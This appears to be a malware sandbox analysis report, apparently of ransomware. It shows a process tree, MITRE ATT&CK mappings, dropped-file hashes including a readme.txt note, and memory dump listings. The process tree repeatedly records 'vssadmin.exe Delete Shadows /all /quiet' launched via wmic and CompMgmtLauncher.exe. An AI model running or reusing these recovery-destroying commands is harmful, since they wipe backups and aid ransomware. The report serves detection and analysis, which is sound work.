  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3000
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1380

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2664

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2940

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2896

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1544

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1572

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1656

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2740

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:864

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1812

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1872
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:1452
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2544

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2392

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:864

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1564
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:3048
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2588

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1596

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5145a8d88488547f7aac370ce53e9f7f

SHA1
a19a92c010fd405713893915abd8bff02679675a

SHA256
b19616cb6d0ff28ea02f6646de6751a9ada3e2fedb9d06e453810ca7a1818f56

SHA512
81bec948962cf14e07c5e73b007982eba6000843e0c604add9bde21e5facdf65bf65567d805c2e0d1a100bc4ae0a14912362064cfeacafdb2a8afea07bd2fdd5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
c870eeb1fe11796261173b7d7e14e8d8

SHA1
23a6c7d66e9dde439a5cc4c2748743ec47d7b39b

SHA256
0ff9743dee4c058d7ef755e7fb888e3e3594e33a32de09ba634c05b95f62a546

SHA512
926d2d909aa877fbb30955445cb796b75a1de5c4d56a511002bfc2dc79c167ae910d0e06fe7fcad96265dcd91082ecd0032f3ae085e9c2bf4033a346213ab2dc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
6d8552f08d8c4fa36dfb9b49712f899c

SHA1
7e1c7af37bbfdf37e45ea5cd2ab50daaf8087fd6

SHA256
0dedb32f3dd40db4049118ed30cbacd07842cda1a5a7213a8f5f292f658c92df

SHA512
fc6d02de632b8c4c6a65e77726468f8107bd3376db6ab8ac93dd527923ac399b8e67fb59e0ffd0bce7249db4060e18575a81c8e09133612217ee0eb63ceb2b3f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
15469fe461dd50e10013baee3ac81d75

SHA1
57ffd72d0ae074dced8fb68ffeb303f0feaf7efa

SHA256
becbb7ab57be1143eea500b025cba1de1c96abe9f41cba070523fe942bd8ee6d

SHA512
1e292bc179f1b081da9ae032ab130301e7f5a7b58e8b24985b8ffdb102035ce60b690abf76abe191c3be7a66e9c7f3a4d43b16bd3f2c15a98a07cca0204bdffe

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
17921cfe49ed846ef08358d16ba89cc3

SHA1
a6e609a7207b9fbfae6153e23d59eca3ef6e8b40

SHA256
5a35632faabdc2c735963b2fe3c2c33d51d9647048b5c67e24d5da2141a6c8e9

SHA512
31547e222860e6fe602ba93734d8d40d756980e5705b2ab8f4fb31b5c81a3e34a8db485179df7a2f4dba0932fd744da985a354b485a655500ffb4ab3c1f632fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
d41479a4722d3f77be61934bd217a419

SHA1
b3332fb4d5490b38cdc2449a5281a527adf85436

SHA256
2d106f66685acfe3096c2cc288754279f6b711fb27a0039832deb9c61b609e84

SHA512
95fc44c13157e9e918f63fdefd24ce9dbb9fbe8339a7e991bfffd62a9028980c053a5fa938ffabb538ed73ffb41d229aa9cb7e87a3ff15c5162e54b53fc005d8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
ce7d84476ee849f85bca3c904d27053b

SHA1
27271c0773206db87bad3628e8d0e98711d73793

SHA256
1c13ee7b5ca7ddf91b46f01f152d2f91dfe9314141484f1cc9016455dc4ea0e9

SHA512
64466bc6d5784ba48fba3521647f51bd620758d92fa1b56321dbf2bfcb00663e29468d66c3910ada04113ba904b5f05254d7b87bc3b0ab8815359b58fea5f3da

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
49ed1a1f133c43ac3ceca5c6126fdb84

SHA1
fb78e69d19f5d998d1fdc88566d605d894ef5d06

SHA256
9433038593a3b3e2b350f1de26f32ed862144b3627038eae4ffddc75a14ba26f

SHA512
a58ada440570f190baecd4d18db4e15e74dfb1b5b61cdfa89544041fb735cb0e74e784496c8c034e50a6f9f8f307b0f88a67ff4a1c96ec0a14f8dec3dc3d3e96

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
e2314bb239fa2388a4780fac7a9351df

SHA1
c3426229b01c3f0d1dfe3061512f6f247ec5f28c

SHA256
83b22b5b039d4797a4ebdb11bc85d2426c9671dc124a4a8a0cd87f2e89970a0b

SHA512
4feaddb7716ba005173944e6da76626d15f004c008afbefa37f4d3548fe560bbe5f600ae2af6964e86b21f538e370c1a4135d94ccd30932a6c7dda6b12871d51

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
64464fe81c4b3cbf5c9011b82d8b3791

SHA1
e7c43f873fdae25774c97e323c19cc2a3f343f37

SHA256
d6e17d117620718ff84014ba7d15c0fe8ef9775a2ad951eea38ef9d56f932634

SHA512
6a19c20c3447774515b9e6caab16b8eb48db4d5560cb2909b9fddca3367db59d5a6bbe86989041feb97eb37891d06cd7ba9daebd4c6c92e31b52df5e90f4b7f2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
da71c178480a5966ecf9f616bc913662

SHA1
d9b0ac16f3d5946961500f20e48ecc4aaf5729e1

SHA256
40bce48447a77c573c5da4d258b50ff99c936eb99645cb614ab8b8648b467b74

SHA512
6978b4bfe0a774ae7c0f80c4dd1b8576d247a36eb66a72d201272ea63884e28d51c9fca35e2f6dba5a17b20319cc84a1ae53b890f5e8459db830b73786bd40aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
9c98eff54cd4e979f4a0faf2a418fd25

SHA1
233a23e364dca7b7a73f5daca5a7863b090dbc78

SHA256
d58993d069af1aba339aa70117f7ddb46fe12aa39d53d3de2786747a00bce4dc

SHA512
30e4a50fa7da252aaa79079e3bd2b9431f84d972913610a05fdf70af171297bc9e0e406cc6538046c4034c9d056dbb30f15c17421d20291165a13113a308b684

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
602cfd262ae7080bbfe34fa131ddc5c5

SHA1
7d44f99595bcd78ae69f2d64567eca8ed462a5b4

SHA256
ceefea4291930dabdf441d0b8a4aa91468f8e69a0db8b23eb5c46a6b0baf99d1

SHA512
a34d9afe59a876bc0c560fae98fddf1bb3a37fd237502df119373362349251c033a57d604917d3626d902b6a6f4eb1c317c258e56e599baa7a89df00c5faff2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
67d164e1d6ec4ae148880eb39f358d60

SHA1
eae038d57bd27f972eed26d7bd43a3241f8e69d4

SHA256
04f2d72a32e0bc0e8042e9a3cf2a917318fea3c7267a5941a4a1198648ff24e2

SHA512
2675e0f9415a685e79ec410b796a5288d89b6f44d8f6a0bfcab5fc348af49bae999542c48b4af2af109fbe3e84ce368201611b4f92db23491c3d039cb87a76ec

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
07141a8117e8c0b802e3880c8803b516

SHA1
9124202646c76b108e37078bae94fedb5ad994ed

SHA256
04738399f310c2235f95a8d2146d5263ad3653bf9db1e7605f59aef845947e76

SHA512
1461f89cbbb419bef6a3b0b9b263a8dd2a53276592e426e821f7ffb34055b2232a70b743762e102b1c938dfc17131636c7f82e65dfe9b324ce9bbb5a903ec73b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b737c4be1528116114bb88980354b960

SHA1
950b9ec2f5261e8b949e7df57a13b388a9f3e8ef

SHA256
815e4403e9f44cadbe224c1d57827f9352cedf5036d25463374c72212f6b49d3

SHA512
3e490ab6076fefa8cb10fa370a34b5aeceb54a866beb7035bc87fee96276401980ab007f137a47c528f5a249e2851edf554d68e489c9e0fbf62dd8e885b1e5f9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
10da8c5b46a98bffb0176886fa0112e2

SHA1
5f02554d86d093b3af1b7ff9f472247a1da59ae4

SHA256
1b002f2f2d2e89095bfbb2bb38fcf8f2ec58ec2b7c0aaef46bbde9843218d862

SHA512
3ee501c9cf32a1c60cabcbe1a146eb050105e4107e578aae4ccecf6209c78277e66811b24879e4fa1d4e159bddc42bc17b0017130e3abc1c9f1b06f1fa8522a5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
f383d847c3ee02758a21c36565571eb9

SHA1
ca3f533540ed476af705fa213f968f1da3615e00

SHA256
a9c1228b07c8dacf41a665edb5f36148807409b42df15597445bab9167d0164f

SHA512
2a8c2ba54491f75e5bbc3c2d664ca8601f3e513553ff17727092abbd996fd589f5bcfc5e5c800b9f5920e134944e81a3a30e1402c8d43d496348603451a814a7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
62e7547d7d32e08ce1046fe244379828

SHA1
e3ef15a7196f3072ee93f5f285e4c569e13fc791

SHA256
2e77dc9b80e027a1115639a623512fac584618cb1713c33176920f07b4a6cbe7

SHA512
43b326c7c86e19457abc8b1d80b0690f60c02978951538283a3a4ad6e139363f852ecc1bf375884cd92c17c2ac04591eef5c6f0efa46d07f729fae6273cb3abf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab7B1.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar812.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\Pictures\readme.txt婍

Filesize
1KB

MD5
ec5ddbc8d03aff3c4f18bc071c2e0e15

SHA1
43c7dc516ffee868562155ad9506832738a4bc52

SHA256
5f6148d39c0ff47515fd9af97ec69b58a77ca866d6578c1eb4160d97eaba16f9

SHA512
6fb8cac0dc15b689afd467685c81c1e7c47543e7d46ac0d387718e2a0e3fc8d61a580bec7e9c9adf180df07cbb42386be8df383fb15f17d5811d948b98ee681c

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1108-12-0x0000000000310000-0x0000000000315000-memory.dmp

Filesize
20KB

Download
memory/2368-2-0x00000000006D0000-0x00000000006D1000-memory.dmp

Filesize
4KB

Download
memory/2368-8-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

Filesize
4KB

Download
memory/2368-9-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

Filesize
4KB

Download
memory/2368-0-0x0000000001F90000-0x00000000022CA000-memory.dmp

Filesize
3.2MB

Download
memory/2368-7-0x0000000001D60000-0x0000000001D61000-memory.dmp

Filesize
4KB

Download
memory/2368-6-0x0000000001D50000-0x0000000001D51000-memory.dmp

Filesize
4KB

Download
memory/2368-5-0x0000000001D40000-0x0000000001D41000-memory.dmp

Filesize
4KB

Download
memory/2368-4-0x00000000006F0000-0x00000000006F1000-memory.dmp

Filesize
4KB

Download
memory/2368-3-0x00000000006E0000-0x00000000006E1000-memory.dmp

Filesize
4KB

Download
memory/2368-10-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/2368-1-0x00000000006C0000-0x00000000006C1000-memory.dmp

Filesize
4KB

Download
memory/2368-11-0x0000000001DD0000-0x0000000001DD1000-memory.dmp

Filesize
4KB

Download